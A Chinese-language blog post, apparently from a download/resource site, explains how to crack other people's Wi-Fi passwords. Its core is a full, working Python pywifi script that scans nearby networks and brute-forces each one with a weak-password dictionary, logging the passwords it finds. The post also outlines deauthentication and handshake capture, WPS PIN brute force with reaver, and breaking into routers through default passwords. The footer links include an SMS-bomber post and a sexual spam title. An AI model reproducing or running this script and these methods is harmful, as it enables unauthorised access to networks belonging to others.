黑客如何破解wifi密码

黑客如何破解wifi密码

前言

应粉丝要求,这周科普一下破解wifi密码的方法。因为我没有深入研究过这个方向,平时做项目也用不到,所以只能写一些比较常用的方法,如果有遗漏希望师傅们可以留言补充。

暴力破解

暴力破解,简称爆破,原理就是不断用可能的密码去尝试连接wifi来破解密码。
爆破wifi的方式主要有两种:纯暴力破解字典爆破
纯暴力破解:就是按排列顺序尝试所有可能性,这种方式效率极低,8位数字密码的所有可能性就已经有1亿种,更别提wifi密码中还可以使用字母和符号。所以爆破wifi密码通常采用字典爆破的方法。
字典爆破,之前写过一篇文章中讲过:虽然密码的排列组合有很多可能性,但人们一般会使用一些有规律有意义的密码,把这些密码提取出来做成的字典,就可以破解相当一部分的wifi密码,这是比较有效率的办法。
字典还分为通用字典社工字典,通用字典就是大多数人都会设的密码比如88888888,12345678,qwer1234等等,社工字典需要收集wifi管理员的信息进行单独制作,比如收集管理员的生日,手机号,姓名做成字典。然后wifi密码可能就是19990604(管理员生日),13698761234(管理员手机)或者xiaoming123(姓名+123)。

至于实施爆破的手段,一般是自己编程序或写脚本,但身为脚本小子,能白嫖别人的为什么要自己动手呢,以下python脚本来自“酒仙桥六号部队”,具体文章见文末参考文献。

from pywifi import const, PyWiFi, Profile
import time
 
# wifi类
class wifi(object):
 def __init__(self):
 self.wifi = PyWiFi()                  #创建一个无线对象
 self.interfaces = self.wifi.interfaces()        #获取无线网卡接口
 self.iface = self.interfaces[0]              #获取第一个无线网卡接口
 
 # 获取无线网卡接口
 def get_wifi_interfaces(self):
 num = len(self.interfaces)
 if num <= 0:
 print(u'未找到无线网卡接口!\n')
 exit()
 if num == 1:
 print(u'无线网卡接口: %s\n' % (self.iface.name()))
 return self.iface
 else:
 print('%-4s   %s\n'%(u'序号',u'网卡接口名称'))
 for i, w in enumerate(self.interfaces):
 print('%-4s   %s' % (i, w.name()))
 while True:
 iface_no = input('请选择网卡接口序号:'.decode('utf-8').encode('gbk'))
 no = int(iface_no)
 if no >= 0 and no < num:
 return self.interfaces[no]
 
 # 查看无线网卡是否处于连接状态
 def check_interfaces(self): 
 if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]:
 print('无线网卡:%s 已连接。' % self.iface.name())
 else:
 print('无线网卡:%s 未连接。' % self.iface.name())
 
 # 扫描周围wifi
 def scan_wifi(self):
 self.iface.scan()                    #扫描周围wifi
 time.sleep(1)                      #不缓冲显示不出来
 result = self.iface.scan_results()            #获取扫描结果,wifi可能会有重复
 has = []                        #初始化已扫描到的wifi
 wifi_list = []                      #初始化扫描结果
 for i in result:
 if i not in has:                  #若has中没有该wifi,则
 has.append(i)                  #添加到has列表
 if i.signal > -90:                #信号强度<-90的wifi几乎连不上
 wifi_list.append((i.ssid, i.signal))    #添加到wifi列表
 print('wifi信号强度:{0},名称:{1}。'.format(i.signal, i.ssid))#输出wifi名称
 return sorted(wifi_list, key=lambda x:x[1], reverse=True)  #按信号强度由高到低排序
 
 # 连接wifi
 def connect_wifi(self, wifi_name, wifi_password):
 self.iface.disconnect()                  #断开无线网卡连接
 time.sleep(1)                      #缓冲1秒
 profile_info = Profile()                #wifi配置文件
 profile_info.ssid = wifi_name               #wifi名称
 profile_info.auth = const.AUTH_ALG_OPEN         #需要密码
 profile_info.akm.append(const.AKM_TYPE_WPA2PSK)      #加密类型
 profile_info.cipher = const.CIPHER_TYPE_CCMP       #加密单元
 profile_info.key = wifi_password             #wifi密码
 self.iface.remove_all_network_profiles()        #删除其他配置文件
 tmp_profile = self.iface.add_network_profile(profile_info)   #加载配置文件
 self.iface.connect(tmp_profile)              #连接
 #尝试5秒是否能成功连接(时间过短可能会导致正确密码尚未连接成功)
 time.sleep(5) 
 if self.iface.status() == const.IFACE_CONNECTED:
 print('\n==========================================================================')
 print('wifi:{0}连接成功,密码:{1}'.format(wifi_name, wifi_password), end='')
 print('==========================================================================\n')
 return True
 else:
 print('密码错误:{0}'.format(wifi_password), end='')
 return False
 
 # 断开无线网卡已连接状态
 def disconnect_wifi(self):
 self.iface.disconnect() 
 if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
 print('无线网卡:%s 已断开。' % self.iface.name())
 else:
 print('无线网卡:%s 未断开。' % self.iface.name())
 
if __name__ == '__main__':
 sf = ['Y', 'y', 'N', 'n']
 dian = input('是否需要手动点击破解下一个wifi热点(Y/N)?').strip()
 wifi = wifi()                        #实例化wifi类
 wifi.get_wifi_interfaces()                  #获取网卡接口
 wifi.check_interfaces()                    #检测网卡连接状态
 print('\n正在扫描wifi热点...')
 wifiList = wifi.scan_wifi()                  #扫描周围wifi
 print('\n正在破解,时间较长,请耐心等待...')
 #所有破解成功的wifi名称及密码
 user_pwd = [] 
 # 只能单线程破解,因为只有一个无线网卡,不能同时连接多个wifi热点
 for i in wifiList:
 print('正在破解%s,请耐心等待...' % i[0])
 start = time.time()
 with open(r'1800常用弱口令字典.txt', 'r') as f: 
 for password in f:
 try:
 result = wifi.connect_wifi(i[0], password)  #尝试连接wifi
 if result == True:              #若找到密码,则跳出,避免继续查找
 user_pwd.append((i[0], password))    #保存破解成功的wifi及密码
 break
 except:
 continue
 end = time.time()
 shi = end - start
 print('破解耗时:%s秒。' % shi)
 if dian == 'Y' or dian == 'y':
 xia = input('是否继续破解(Y/N)?').strip()
 while xia not in sf:
 print('输入错误,请重新输入!')
 xia = input('是否继续破解(Y/N)?')
 if xia == 'Y' or xia == 'y':
 continue
 else:
 break
 print('\n==========================================================================')
 print('最终统计结果为:')
 with open(r'c:/users/administrator/desktop/wifi.txt', 'a') as pwd:
 for p in user_pwd:
 pwd.write('wifi热点:%s,密码:%s' % (p[0], p[1]))
 print(('wifi热点:%s,密码:%s' % (p[0], p[1])), end='')
 print('==========================================================================\n')
 wifi.disconnect_wifi()

python脚本放在电脑上运行,有些人可能要问,有没有能爆破wifi密码的手机app呢,有,但我不推荐使用手机爆破,因为手机的性能和电脑差的实在太多,强行爆破有种“杀敌一千自损八百”的效果。之前我下载了一个有爆破wifi功能的app试了一下,当时手机就卡到强制重启了。
如果对自己的手机很自信,那可以试试【极简wifi密码钥匙】app的WIFI密探功能,原理就是字典爆破wifi密码。

大数据破解(万能钥匙)

这是成功率最高的方法,很多人应该用过一个app叫做【wifi万能钥匙】,曾经这个app风靡一时,能破解很多wifi密码。现在用的人少了(因为流量便宜了),同时发现app能破解的wifi密码也变少了,这是什么原因呢?

很多人以为wifi万能钥匙也是通过暴力破解的手段破解wifi密码,但用多了你会发现,很多很复杂无规律的密码它也能破解出来,并且使用的时候手机也不会变卡,这很不符合常理。

其实它根本就没有去进行爆破尝试,万能钥匙破解wifi的手段其实是基于大数据共享,下载了万能钥匙之后,你连接过的所有wifi包括密码都会上传到它的服务器,别人就能通过万能钥匙破解你家的wifi。自然你也能通过万能钥匙破解别人家的wifi(只要他也使用万能钥匙),简单的说,你想破解别人的密码,就要先交出自己的密码。
这类app,wifi万能钥匙应该是使用人数最多的,但还有很多种其他app也有一定量的用户,需要时可以都下载回来尝试增加成功率[2]:
腾讯WiFi管家WiFi 伴侣360免费WiFi

跑握手包

这种破解方式和wifi的加密方式有关:wep、wpa、wpa2。wep是最古老的,安全性最低的wifi加密方法,已停止使用,目前绝大多数路由器和Wi-Fi连接都使用WPA或WPA2。 [3]

wep加密能实现完全破解,具体原理是其算法的缺陷:当发送12430个数据包时(大概4秒钟左右)99%的概率会发生初始向量IV相同。这时可根据一定的算法分析出密钥和明文。[4]
现在广泛使用的wpa和wpa2协议就不能100%破解了,破解的具体步骤是:取消认证攻击——重连时抓握手包——离线破解密码

先通过取消认证攻击使当前活跃设备与目标wifi断开连接,然后设备一般会自动重连,重连过程中会发送带有加密后的wifi密文的握手包,通过嗅探工具将握手包下载到本地,就可以在本地离线破解wifi密码。

离线破解,大概是类似web渗透中的抓回密码的哈希值,哈希虽不可逆,不能直接算出明文密码,但可以将一大堆明文密码采用同样的哈希算法加密去逐一匹配碰撞,本质也是暴力破解。但和文章开头讲到的爆破的区别是:一个使用网卡爆破,一个是使用cpu爆破,速度上要快近亿倍。

pin码破解

路由器的WPS功能:WPS是Wi-Fi保护设置的英文缩写,致力于简化无线局域网安装及安全性能的配置工作。
对于一般用户,WPS提供了一个相当简便的加密方法。通过该功能,不仅可将都具有WPS功能的Wi-Fi设备和无线路由器进行快速互联,还会随机产生一个八位数字的字符串作为个人识别号码(PIN)进行加密操作。省去了客户端需要连入无线网络时,必须手动添加网络名称(SSID)及输入冗长的无线加密密码的繁琐过程。[7]
简单来说,对于开启了WPS功能的路由器,当你知道了它的pin码,就可以连接到wifi并获取明文密码,不再需要其他认证措施。
pin码有8位,第8位是校验和,可以根据前7位算出,而这7位中前4位和后3位是分别认证的,认证成功会给出提示,所以爆破pin码只需11000次(10^4+10^3)即可保证100%成功。
不过有些路由器也会有反制的措施,比如增加pin认证的时间,使一次pin认证需要花费一分钟,那11000次则需要攻击者不间断爆破七天以上,增加了攻击成本。
具体的操作也是可以直接使用kali上的工具:reaver 破解pin码,搜索关键词:kali破解pin码即可搜到很多文章,比如参考文献

简单点

破解wifi的前提应该是能连接到这个wifi,那说明此时我们和目标的距离是很近的,这时可以采取一些如下非常规的手法去获取wifi密码:
(1)直接问:问管理员wifi密码是多少。

(2)寻找环境中明文记录的wifi密码,它们经常出没在:墙上的便利贴,路由器背面的标签,桌子上的纸张等位置。
(3)寻找网线插口,进入网络内部打路由器获取wifi密码(都能插网线了为啥还需要wifi密码?)打路由器的方法:弱口令、默认口令、超级口令、已知漏洞、0day。
进入路由器管理后台后,可能会看到黑点型的wifi密码

THE END
抢沙发

请登录后发表评论

    暂无评论内容

相关推荐

短信轰炸机:一个短信能有多危险?

短信轰炸机:一个短信能有多危险?-可能资源网短信轰炸机:一个短信能有多危险?-可能资源网短信轰炸机:一个短信能有多危险?-可能资源网
+19
短信轰炸机:一个短信能有多危险?-可能资源网
可能的头像-可能资源网可能7个月前
0153

爱你的男人会让你吃鸡吗为什么

爱你的男人会让你吃鸡吗为什么-可能资源网
爱你的男人会让你吃鸡吗?为什么? '吃鸡'这个词在现代社交媒体中常常被用来指代一种流行的电子游戏,即绝地求生(PlayerUnknown's Battlegrounds,简称PUBG)。这个游戏中,玩家需要在一个虚拟...
可能的头像-可能资源网可能5个月前
017

人狗大战JAVA代码:高清版超耐看

人狗大战JAVA代码:高清版超耐看-可能资源网
人狗大战是一款非常有趣的游戏,而下面是一个用Java语言编写的人狗大战的代码。该代码经过精心设计,运行稳定,非常耐看。 public class Person { private String name; private int age; publi...
可能的头像-可能资源网可能5个月前
031

三人不停在她体内进进出1出

三人不停在她体内进进出1出-可能资源网
三人不停在她体内进进出1出,这是一个有关人际关系的故事。故事的主人公是一个年轻女孩,她拥有着优美的外貌和聪明的头脑,深受周围人的喜爱。 故事开始的时候,女孩遇到了三位不同的人,他们每...
可能的头像-可能资源网可能6个月前
031

传输层中的TCP和UDP

传输层中的TCP和UDP-可能资源网
第3层或网络层使用IP或互联网协议,其是无连接协议,其单独且单独地处理每个分组,导致在传输期间缺乏可靠性。例如,当数据从一台主机发送到另一台主机时,即使每个数据包属于同一会话,也可能...
可能的头像-可能资源网可能7个月前
024

ODpush易语言程序窗口

ODpush易语言程序窗口-可能资源网ODpush易语言程序窗口-可能资源网ODpush易语言程序窗口-可能资源网
+3
ODpush易语言程序窗口-可能资源网
十三是只猫的头像-可能资源网十三是只猫7个月前
0149